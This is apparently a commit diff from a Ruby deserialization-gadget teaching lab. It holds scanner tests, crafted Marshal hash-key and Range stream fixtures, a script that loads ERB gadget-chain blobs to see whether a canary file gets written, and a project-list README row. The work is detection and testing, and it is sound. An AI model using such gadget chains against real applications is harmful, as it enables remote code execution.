assert_includes local_scan.links.map(&:to_s), "Marshalsea::ScannerTest::LinkFixture#to_s",
"a link is how a chain continues and must not be discarded either"
end
def test_a_private_singleton_load_is_discovered
found = candidates_for("Marshalsea::ScannerTest::PrivateLoadFixture")
assert_equal ["_load"], found.map(&:method_name),
"Marshal.load reaches _load through rb_funcallv, which ignores visibility"
assert_predicate found.first, :gated?
assert_predicate found.first, :reachable?
end
def test_control_a_public_singleton_load_is_still_discovered
assert_includes candidates_for("Marshalsea::ScannerTest::UserDefFixture").map(&:method_name),
"_load"
end
BROKEN_SOURCE_PATH = File.join(Dir.tmpdir, "marshalsea-broken-fixture.rb")
File.write(BROKEN_SOURCE_PATH, "class Unterminated\n def hash\n \"open\n")
Object.class_eval(<<~SOURCE, BROKEN_SOURCE_PATH, 2)
module Marshalsea
module ScannerRecoveredFixture
class Recovered
def hash
@seed.to_i
end
end
end
end
SOURCE
def test_a_recovered_prism_parse_is_a_suppression_not_a_verdict
report = scan(namespace: "Marshalsea::ScannerRecoveredFixture")
candidate = report.candidates.first
assert_equal 1, suppressions_at(report, Scanner::SITE_SOURCE_PARSE).length,
"Prism is error tolerant, so a file it could not parse must be counted"
refute_predicate candidate, :state_known?,
"a tree recovered from syntax errors cannot support a true or false verdict"
assert_predicate candidate, :unreadable_source?
assert_predicate candidate, :reachable?, "an unreadable source must fail open"
end
def test_control_prism_really_does_recover_a_definition_from_that_file
parsed = Prism.parse_file(BROKEN_SOURCE_PATH)
assert_predicate parsed, :failure?
refute_empty parsed.errors
refute_nil parsed.value,
"control: if Prism returned nothing there would be no wrong verdict to prevent"
end
class WrongArityFixture
def marshal_load; end
end
class ComparableFixture
def <=>(other)
@seed <=> other
end
end
class LinkFixture
def to_s
@seed.to_s
end
end
class PrivateLoadFixture
def self._load(_data)
allocate
end
private_class_method :_load
end
class ExplodingNameFixture
@explode = false

View File

@ -143,17 +143,36 @@ module Marshalsea
object_link: stream("[#{fixnum(2)}#{PLAIN_OBJECT}{#{fixnum(1)}@#{fixnum(1)}0"),
struct: stream("{#{fixnum(1)}S#{sym(OBJECT_CLASS)}#{fixnum(0)}0"),
extended: stream("{#{fixnum(1)}e#{sym(HOST_CLASS)}#{PLAIN_OBJECT}0"),
user_class_over_array: stream("{#{fixnum(1)}C#{sym(OBJECT_CLASS)}[#{fixnum(0)}0")
user_class_over_array: stream("{#{fixnum(1)}C#{sym(OBJECT_CLASS)}[#{fixnum(0)}0"),
bare_array: stream("{#{fixnum(1)}[#{fixnum(1)}#{PLAIN_OBJECT}0"),
nested_bare_array: stream("{#{fixnum(1)}[#{fixnum(1)}[#{fixnum(1)}#{PLAIN_OBJECT}0")
}.freeze
HASH_KEY_SHAPES_THAT_DISPATCH_EQL_ONLY = {
user_class_over_string: stream("{#{fixnum(1)}C#{sym(OBJECT_CLASS)}#{str('x')}0"),
extended_over_string: stream("{#{fixnum(1)}e#{sym(HOST_CLASS)}#{str('x')}0")
}.freeze
HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH = {
user_class_over_string: stream("{#{fixnum(1)}C#{sym(OBJECT_CLASS)}#{str('x')}0"),
extended_over_string: stream("{#{fixnum(1)}e#{sym(HOST_CLASS)}#{str('x')}0"),
regexp: stream("{#{fixnum(1)}#{regexp('ab')}0"),
symbol: stream("{#{fixnum(1)}#{sym('k')}0"),
string: stream("{#{fixnum(1)}#{str('k')}0")
string: stream("{#{fixnum(1)}#{str('k')}0"),
array_of_primitives: stream("{#{fixnum(1)}[#{fixnum(2)}i\x06i\x070"),
empty_array: stream("{#{fixnum(1)}[#{fixnum(0)}0")
}.freeze
RANGE_CLASS = "Range"
def range_stream(endpoint)
stream(
"o#{sym(RANGE_CLASS)}#{fixnum(3)}" \
"#{sym('excl')}F#{sym('begin')}#{endpoint}#{sym('end')}#{endpoint}"
)
end
RANGE_WITH_OBJECT_ENDPOINTS = range_stream(PLAIN_OBJECT)
RANGE_WITH_PRIMITIVE_ENDPOINTS = range_stream("i\x06".b)
OBJECT_IN_VALUE_POSITION =
stream("{#{fixnum(1)}#{sym('k')}#{PLAIN_OBJECT}")
@ -296,17 +315,41 @@ module Marshalsea
"an Array subclass in key position dispatches the subclass #hash",
allowed: [OBJECT_CLASS]),
entry(:hash_key_user_class_over_string, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:user_class_over_string],
VERDICT_ACCEPT,
"precision control: rb_any_hash keys on T_STRING, so a String subclass never " \
"reaches a user #hash and rejecting it would be a false positive",
entry(:hash_key_bare_array, HASH_KEY_SHAPES_THAT_DISPATCH[:bare_array], VERDICT_REJECT,
"an array key names no class of its own, but rb_ary_hash hashes every element, " \
"so the object inside it dispatches. Both key rules cover this shape, so the " \
"verdict alone cannot isolate either; parser_test asserts the hash rule directly",
allowed: [OBJECT_CLASS]),
entry(:hash_key_extended_over_string, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:extended_over_string],
VERDICT_ACCEPT,
"same exemption when the string is reached through an extend wrapper",
entry(:hash_key_nested_bare_array, HASH_KEY_SHAPES_THAT_DISPATCH[:nested_bare_array], VERDICT_REJECT,
"one more level of anonymous nesting must not buy the same object a pass",
allowed: [OBJECT_CLASS]),
entry(:hash_key_user_class_over_string, HASH_KEY_SHAPES_THAT_DISPATCH_EQL_ONLY[:user_class_over_string],
VERDICT_REJECT,
"rb_any_hash fast-paths T_STRING so #hash is skipped, but rb_any_cmp requires " \
"klass == rb_cString, so a String subclass reaches a user #eql? on collision",
allowed: [OBJECT_CLASS]),
entry(:hash_key_extended_over_string, HASH_KEY_SHAPES_THAT_DISPATCH_EQL_ONLY[:extended_over_string],
VERDICT_REJECT,
"same asymmetry when the string is reached through an extend wrapper",
allowed: [HOST_CLASS]),
entry(:hash_key_regexp, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:regexp], VERDICT_ACCEPT,
"a regexp key names no class, so the payload cannot choose whose #hash runs")
"a regexp key names no class, so the payload cannot choose whose #hash runs"),
entry(:hash_key_array_of_primitives, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:array_of_primitives],
VERDICT_ACCEPT,
"precision control: recursing into collection keys must not become a blanket " \
"reject on every array"),
entry(:hash_key_empty_array, HASH_KEY_SHAPES_THAT_DO_NOT_DISPATCH[:empty_array], VERDICT_ACCEPT,
"precision control: an empty collection has no member to dispatch anything"),
entry(:range_with_object_endpoints, RANGE_WITH_OBJECT_ENDPOINTS, VERDICT_REJECT,
"range_loader calls range_init, which compares the endpoints, so <=> runs during " \
"load on a stream carrying no sink tag and no hash key",
allowed: [OBJECT_CLASS, RANGE_CLASS]),
entry(:range_with_primitive_endpoints, RANGE_WITH_PRIMITIVE_ENDPOINTS, VERDICT_ACCEPT,
"precision control: primitive endpoints reach only the builtin <=>",
allowed: [RANGE_CLASS])
].freeze
end
end

View File

@ -7,39 +7,73 @@ require "marshalsea"
CANARY_PATH = "/tmp/marshalsea-canary"
CANARY_MARKER = "fired"
RESULT_FIRED = "FIRED"
RESULT_BLOCKED = "BLOCKED"
RESULT_INERT = "INERT"
erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s
chain = Marshalsea::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)
blob = chain.serialize
inspection = Marshalsea::Marshal::Parser.new(blob).parse
FileUtils.rm_f(CANARY_PATH)
revived = Marshal.load(blob)
detail = begin
revived.def_method(Module.new, "marshalsea_probe")
"def_method returned"
rescue StandardError => e
"#{e.class}: #{e.message}"
def canary_present?
File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER
end
fired = File.exist?(CANARY_PATH) && File.read(CANARY_PATH) == CANARY_MARKER
outcome = if fired
RESULT_FIRED
elsif detail.start_with?("ArgumentError")
RESULT_BLOCKED
else
RESULT_INERT
end
def clear_canary
FileUtils.rm_f(CANARY_PATH)
end
predicted = Marshalsea::Chains::ErbDefMethod.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED
def classify(fired, detail)
return RESULT_FIRED if fired
return RESULT_BLOCKED if detail.start_with?("ArgumentError")
puts format("%-9s erb=%-9s outcome=%-8s predicted=%-8s classes=%-6s %s",
ENV.fetch("MATRIX_IMAGE", "?"), erb_version, outcome, predicted,
inspection.class_names.join(","), detail)
RESULT_INERT
end
exit(outcome == predicted ? 0 : 1)
def observe
clear_canary
detail = begin
yield
"returned"
rescue StandardError => e
"#{e.class}: #{e.message}"
end
[canary_present?, detail]
end
erb_version = Gem::Specification.find_all_by_name("erb").map(&:version).max.to_s
image = ENV.fetch("MATRIX_IMAGE", "?")
chain = Marshalsea::Chains::ErbDefModule.canary(CANARY_PATH, CANARY_MARKER)
primitive = Marshalsea::Chains::ErbDefMethod.canary(CANARY_PATH, CANARY_MARKER)
chain_blob = chain.serialize
primitive_blob = primitive.serialize
built_without_firing = !canary_present?
chain_fired, chain_detail = observe { Marshal.load(chain_blob) }
chain_outcome = classify(chain_fired, chain_detail)
primitive_load_fired, = observe { Marshal.load(primitive_blob) }
primitive_fired, primitive_detail = observe do
Marshal.load(primitive_blob).def_method(Module.new, "marshalsea_probe")
end
primitive_outcome = classify(primitive_fired, primitive_detail)
clear_canary
predicted = Marshalsea::Chains::ErbDefModule.affects?(erb_version) ? RESULT_FIRED : RESULT_BLOCKED
inspection = Marshalsea::Marshal::Parser.new(chain_blob).parse
puts format("%-9s erb=%-9s chain=%-8s primitive=%-8s predicted=%-8s sinks=%d %s",
image, erb_version, chain_outcome, primitive_outcome, predicted,
inspection.sinks.length, chain_detail[0, 60])
checks = {
"builder_did_not_execute_its_own_payload" => built_without_firing,
"chain_matches_prediction" => chain_outcome == predicted,
"primitive_matches_prediction" => primitive_outcome == predicted,
"primitive_is_inert_until_the_application_calls_it" => !primitive_load_fired,
"chain_carries_no_sink_tag" => inspection.sinks.empty?
}
checks.each { |name, ok| puts "#{name}=#{ok}" }
exit(checks.values.all? ? 0 : 1)

View File

@ -93,7 +93,7 @@ Tools, courses, certifications, communities, and frameworks for cybersecurity pr
| **[Network Traffic Analyzer](./PROJECTS/beginner/network-traffic-analyzer)**<br>Capture and analyze packets | ![3-5h](https://img.shields.io/badge/⏱_10--12h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![C++](https://img.shields.io/badge/C%2B%2B-00599C?logo=cplusplus&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Packet capture • Protocol analysis • Traffic visualization<br>[Source (C++)](./PROJECTS/beginner/network-traffic-analyzer/cpp) \| [Docs (C++)](./PROJECTS/beginner/network-traffic-analyzer/cpp/learn) \| [Source (Python)](./PROJECTS/beginner/network-traffic-analyzer/python) \| [Docs (Python)](./PROJECTS/beginner/network-traffic-analyzer/python/learn) |
| **[Hash Cracker](./PROJECTS/beginner/hash-cracker)**<br>Dictionary and brute-force cracking | ![3-4h](https://img.shields.io/badge/⏱_5--6h-blue) ![C++](https://img.shields.io/badge/C%2B%2B-00599C?logo=cplusplus&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Hash algorithms • Dictionary attacks • Password security<br>[Source Code](./PROJECTS/beginner/hash-cracker) \| [Docs](./PROJECTS/beginner/hash-cracker/learn) |
| **[Steganography Multi-Tool](./SYNOPSES/beginner/Steganography.Multi.Tool.md)**<br>Hide data in images, audio, QR, PDFs, text | ![8-10h](https://img.shields.io/badge/⏱_8--10h-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Multi-format steganography • Encrypted AEAD envelope • Zero-width Unicode • Audio LSB • QR Reed-Solomon injection<br>[Source Code](./PROJECTS/beginner/steganography-multi-tool) \| [Docs](./PROJECTS/beginner/steganography-multi-tool/learn) |
| **[Ghost on the Wire](./SYNOPSES/beginner/Ghost.On.The.Wire.md)**<br>L2 attack & defense: MAC spoofing + ARP detection | ![2-3h](https://img.shields.io/badge/⏱_6--8h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | ARP protocol • MAC spoofing • MITM detection • L2 trust mapping<br>[Learn More](./SYNOPSES/beginner/Ghost.On.The.Wire.md) |
| **[Deserialization Gadget Lab](./PROJECTS/beginner/deserialization-gadget-lab)**<br>Read untrusted Marshal and YAML without ever reviving it, then break it | ![12-16h](https://img.shields.io/badge/⏱_12--16h-blue) ![Ruby](https://img.shields.io/badge/Ruby-CC342D?logo=ruby&logoColor=white) ![Docker](https://img.shields.io/badge/Docker-2496ED?logo=docker&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Gadget chains • Marshal binary format • Gated vs ungated dispatch • TracePoint veto • CVE-2026-41316<br>[Source Code](./PROJECTS/beginner/deserialization-gadget-lab) \| [Docs](./PROJECTS/beginner/deserialization-gadget-lab/learn)<br>[![gem: marshalsea](https://img.shields.io/badge/gem-marshalsea-E9573F?style=flat&logo=rubygems&logoColor=white)](https://rubygems.org/gems/marshalsea) |
| **[Canary Token Generator](./PROJECTS/beginner/canary-token-generator)**<br>Self-hosted honeytokens that alert on access | ![2-3h](https://img.shields.io/badge/⏱_8--10h-blue) ![Go](https://img.shields.io/badge/Go-00ADD8?logo=go&logoColor=white) ![React](https://img.shields.io/badge/React-61DAFB?logo=react&logoColor=black) ![Docker](https://img.shields.io/badge/Docker-2496ED?logo=docker&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Deception defense • Honeytokens • MySQL wire protocol • PDF/DOCX patching • Webhook + Telegram alerting<br>[Source Code](./PROJECTS/beginner/canary-token-generator) \| [Docs](./PROJECTS/beginner/canary-token-generator/learn)<br>[![iglowinthedark.com](https://img.shields.io/badge/iglowinthedark.com-8B5CF6?style=flat&logo=googlechrome&logoColor=white)](https://iglowinthedark.com/) |
| **[Phishing Domain Generator & Quishing Scanner](./SYNOPSES/beginner/Phishing.Domain.Generator.And.Quishing.Scanner.md)**<br>Typosquat generation + QR phishing detection | ![2-3h](https://img.shields.io/badge/⏱_6--8h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Homoglyph attacks • Typosquatting • QR code analysis • Domain intelligence<br>[Learn More](./SYNOPSES/beginner/Phishing.Domain.Generator.And.Quishing.Scanner.md) |
| **[SSH Brute Force Detector](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md)**<br>Monitor and block SSH attacks | ![2-4h](https://img.shields.io/badge/⏱_2--4h-blue) ![Python](https://img.shields.io/badge/Python-3776AB?logo=python&logoColor=white) ![Beginner](https://img.shields.io/badge/●_Beginner-green) | Log parsing • Attack detection • Firewall automation<br>[Learn More](./SYNOPSES/beginner/SSH.Brute.Force.Detector.md) |